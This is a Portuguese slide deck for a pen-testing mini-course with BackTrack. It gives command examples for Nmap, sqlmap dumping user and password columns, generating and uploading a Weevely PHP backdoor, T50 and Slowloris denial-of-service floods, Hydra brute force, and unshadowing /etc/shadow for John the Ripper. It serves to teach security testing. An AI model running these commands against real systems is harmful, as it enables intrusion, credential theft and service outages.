Você está na página 1de 34

Mini Curso:

Pen test com Backtrack


Evandro Villa Verde
Objetivo:

 Fornecer ao aluno uma visão geral sobre testes de


invasão

 Entender a anatomia e os tipos diferentes de


ataques

 Conhecer as fases de um teste de invasão

 Conhecer as metodologias e os apectos legais


Visão:

O Teste de Invasão é um processo de


análise detalhada do nível de
segurança de um sistema ou rede
usando a perspectiva de um infrator.

 O objetivo principal é simular de forma


controlada um ataque real que
normalmente é executado por criminosos.
Fases:

 Os procedimentos realizados por um profissional


de teste de intrusão é similar aos realizados
pelos crackers, diferindo na intenção do ataque.

1. Levantamento de informações (nome,telefone,endereço)


2. Varredura (s.o,rede,serviços,firewall)
3. Ganhar acesso (brute force,trafego,web,vulnerabilidade)
4. Manter acesso (backdoor e rootkits)
5. Apagar rastro
Backtrack:
 Backtrack é um sistema operacional linux baseado
no Ubuntu.

 É focado em testes de seguranças e testes de


penetração (pen tests), muito apreciada por hackers
e analistas de segurança, podendo ser iniciado
diretamente pelo CD (sem necessidade de instalar
em disco), mídia removível (pendrive), máquinas
virtuais ou direto no disco rígido.

Fonte: http://pt.wikipedia.org/wiki/BackTrack
Backtrack:
 Eleé a fusão de duas distribuições que eram bem
conhecidas na época:
- Whax e Auditor Security Collection

 Eleito
em 2006 como a Distribuição Live de
Segurança número 1º em sua categoria

O BT possui mais de 300 ferramentas, que vão


desde teste de intrusão até Analise Forense Digital.

 Versão atual é BackTrack 5 R3 Released! Aug 13,


2012
Problema:
 BackTrack e os Drivers para Wifi e vídeo.

 Ubuntu desatualizado
Nmap:

 Nmap é um software livre que realiza port scan desenvolvido


pelo Gordon Lyon, autoproclamado hacker "Fyodor.
 Realiza varredura de rede, buscando hosts ativos, portas
abertas e serviços sendo executados.
Nmap:
 -sP
 Ping scan: Algumas vezes é necessário saber se um
determinado host ou rede estáno ar.
 Nmap pode enviar pacotes ICMP “echo request” para
verificar sedeterminado host ou
 rede está ativa. Hoje em dia, existem muitos filtros
querejeitam os pacotes ICMP “echo
 request”, então envia um pacote TCP ACK paraa porta 80
(default) e caso receba RST o
 alvo está ativo. A terceira técnica enviaum pacote SYN e
espera um RST ou SYN-ACK.
 Nmap –sP 192.168.1.254
 Nmap –sP 192.168.1.0/24
Nmap:
 TCP SYN scan: Técnica também conhecida como “half-open”,
pois não abre uma conexão TCP completa. É enviado um
pacote SYN, como se ele fosse uma conexão real e aguarda
uma resposta. Caso um pacote SYN-ACK seja recebido,
aporta está aberta, enquanto um como resposta indica que a
porta está fechada.
 A vantagem dessa abordagem é que poucos irão detectar
esse scanning de portas.

 Nmap –sS 192.168.1.254


 Nmap –sS 192.168.1.0/24
Nmap:

 -sT
 TCP connect() scan: É a técnica mais básica de
TCP scanning. É utilizada a chamada de sistema
(system call) “connect()” que envia um sinal as
portas ativas. Caso a porta esteja aberta recebe
como resposta “connect()”. É um dos scan mais
rápidos, porém fácil de ser detectado

 Nmap –sT 192.168.1.254


 Nmap –sT 192.168.1.0/24
Nmap:

 -sU
 UDP scan: Este método é utilizado para determinar
qual porta UDP está aberta em um host. A técnica
consiste em enviar um pacote UDP de 0 byte para
cada portado host.
 Se for recebido uma mensagem ICMP “port
unreachable” então a porta está fechada, senão a
porta pode estar aberta. Para variar um pouco, a
Microsoft ignorou a sugestão da RFC e com isso a
varredura de máquinas Windows é muito rápida.

 Nmap –sU 192.168.1.254


Nmap:

 -O
 Ativa a identificação do host remoto via TCP/IP. Irá
apresentar versão do Sistema
 Operacional e tempo ativo.
 Ex.: nmap -O alvo

 -v
 Modo verbose. Mostra tudo o que está se
passando.
 Ex.: nmap -v alvo
Nmap:
 -F
 Procura pelas portas que estão no /etc/services.
Método mais rápido, porém não procurar por todas
as portas.
 Ex.: nmap -F alvo

 -P0
 Não tenta pingar o host antes de iniciar a
varredura. Isto permite varrer alvos que bloqueiam
ICMP “echo request (ou responses)” através de
firewall.
 Ex.: nmap -P0 alvo
Xprobe2:
 Xprobe2 analisa banners de sistemas
operacionais, comparando com um banco de
dados interno, onde compara-os e informa o S.O.
utilizado e a versão do mesmo.

 Exemplo:

 xprobe2 [host-name]
 xprobe2 <ip>
Nikto :
Nikto é um script Perl usado para testar a
segurança de seu servidor web. Ele
faz a varredura em servidores Apache tanto em
busca de vulnerabilidades, quanto de falhas de
configuração.

 Para atualizar e executar o Nikto, utilizamos os


seguintes comandos:
 
 # ./nikto.pl -update
 # ./nikto.pl -h 192.168.131.1 -o /192.168.131.1.txt
SQL Map:

Local: /pentest/database/sqlmap
String: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?cat=1" – [opções]
SQL Map :

 “Sqlmap é uma ferramenta open source para


penetration test que automatiza o processo de
detecção e exploiting de vulnerabilidades a Sqli
Injection, é escrita em python e tem suporte tanto
GNU linux ou windows.”

O sqlmap além de oferecer as funções para


detectar e explorar as vulnerabilidades a SQLI, ele
consegue também tentar “dominar” o sistema de
banco de dados se for possivel.
SQL Map :

 --help
 Mostra as opções do SQLMAP
 --current-db
 Apresenta o banco de dados atual Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --current-db
 --banner
 Pega o Banner do DBMS
 Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?
cat=1" -b
 --dbs
 Lista os bancos de dados do DBMS Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
SQL Map :
 --tables
 Apresenta as tabelas do banco selecionado Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1"
 -D acuart --tables
 --columns
 Apresenta as colunas da tabela selecionada
 Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?
cat=1"
 -D acuart -T users --columns
 --dump
 Extrai as informações da colunas selecionadas Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1"
 -D acuart -T users -C 'uname,pass' --dump
SQL Map :
 --current-user
 Apresenta o usuário ao qual a página está usando para se conectar ao banco
Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?
cat=1" --current-user
 --is-dba
 Verifica se o usuário atual é administrador do Banco
 Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?
cat=1" --is-dba
 --users
 Enumera todos os usuários
 Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?
cat=1" --users
 --search
 Varre o banco atrás do que você procura, pode ser um banco, tabela ou
coluna
 Exemplo: ./sqlmap.py --url "http://testphp.vulnweb.com/listproducts.php?
cat=1" --search –C ‘pass’
SQL Map :

 --user-agent
 Altera o nome do user Agent durante o ataque Exemplo: ./sqlmap.py --url
"http://testphp.vulnweb.com/listproducts.php?cat=1"
 --user-agent=“Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)”
 --level=1-5
 Seta o nível de performance que ele irá utilizar para efetuar a varredura
 --risk=1-3
 Seta o nível de risco de performance que o sqlmap efetuará para a
varredura
Weevely:

Local: /pentest/backdoors/web/weevely

String: ./weevely <url> <password> <command>


Weevely:

 Weevely é um backdoor PHP discreto que simula


uma conexão telnet. É uma ferramenta essencial
para ser injetada após a exploração de uma
vulnerabilidade de uma aplicação web. Com uma
permissão básica para fazer upload de arquivos
PHP, você só precisa gerar e fazer o upload do
código do "servidor" PHP no alvo, e executado
localmente o Weevely transmiti comandos de shell.
Weevely:

 Uso:
 Gerando o Backdoor:
 ./weevely generate teste/tmp/back.php
 # Cria um backdoor com a senha eSecurity na
pasta /tmp

 ./weevelyhttp://www.sitevul.com/back.php teste
 # Acessa a shell utilizando a senha teste
DoS:
T50 ferramenta de desenvolvida por um brasileiro,
Nelson Brito, capaz de fazer ataques DoS e DDoS
usando o conceito de stress testing:

# ./t50 www.ofm.com.br --flood --turbo --dport 80 -S --


protocol ICMP
 ./t50 192.168.1.105 --flood --turbo --dport 80 -S –
protocol 
 --flood
 --turbo (Aumenta a performance)
 -S (envia a flag SYN)
DoS:
Slowloris: Atacandos velhos apaches
 
# wget http://ha.ckers.org/slowloris/slowloris.pl
 # chmod 777 slowloris.pl

 Ele funciona enviando, atraves de um processo multi-


thread, varias requisições parciais ao servidor Web alvo
Hydra:

THC-Hydra (Last update 2012-05-23)

String: hydra –L <login> -P <passwd> <ip> <serv>


Hydra:

 # hydra –l root -p toor –t 12 127.0.0.1 ssh

 Ele irá efetuar um bruteforce com usuário root com a


senha toor com 12 threads no loopback na porta SSH

 # hydra –l root -P wordlist.txt –t 12 127.0.0.1 ssh


 Ele irá efetuar um bruteforce com usuário root com a
senha buscando na wordlist.txt com

hydra -l teste -P wordlist 192.168.1.105 http-post-form "/verificar.php:login=^USER^&senha=^PASS^:Login e senha


incorretos"
Passwd:

O arquivo /etc/passwd contém informações sobre todos os


usuários, inclusive as suas senhas criptografadas. Ele é
legível por todos os usuários e, por isso, estas senhas
podem ser facilmente crackeadas. Para combater esta
vulnerabilidade foi desenvolvido o sistema de sombreamento
de senhas, os shadows passwords.

Quando o sistema de sombreamento de senhas está


disponível, o campo password do arquivo /etc/passwd é
substituído por um "x" e o password do usuário é
armazenado no arquivo /etc/shadow. Por esta razão o
/etc/shadow é legível somente pelo usuário root. Desta
maneira o arquivo /etc/shadow dificulta a ação de crackers.
John :

Local: /pentest/passwords/john

String: ./john arquivo.db


John :
 John the Ripper é um software para quebra de
senhas. Inicialmente desenvolvido para sistemas
unix-like, corre agora em vários sistemas
operativos (como DOS, Windows, Linux, BSD).
Disponível em versão livre e paga, o John the
Ripper é capaz fazer força bruta em senhas
cifradas em DES, MD4 e MD5 entre outras

 Dicionário (Wordlist): sendo o modo mais simples.

 Quebra Simples (Single Crack): mais indicado para


início de uma quebra e mais rápido que o wordlist
John :

 Ferramenta: Unshadow

 Utilizadapara unir os arquivos passwd e shadow


para posteriormente ser quebrada pelo John the
Ripper

 Exemplo: ./unshadow /etc/passwd /etc/shadow >>


hash.db

 Agora quebramos usando: ./john hash.db


John :

 ./johnsenhas.txt # O modo mais simples de se


usar o John é especificar o arquivo que tem as
senhas e usuário e deixar ele fazer tudo

 automaticamente. Ele irá começar com o modo


single crack, depois irá passar para o modo
wordlist e finalmente irá passar para o modo
incremental.

Você também pode gostar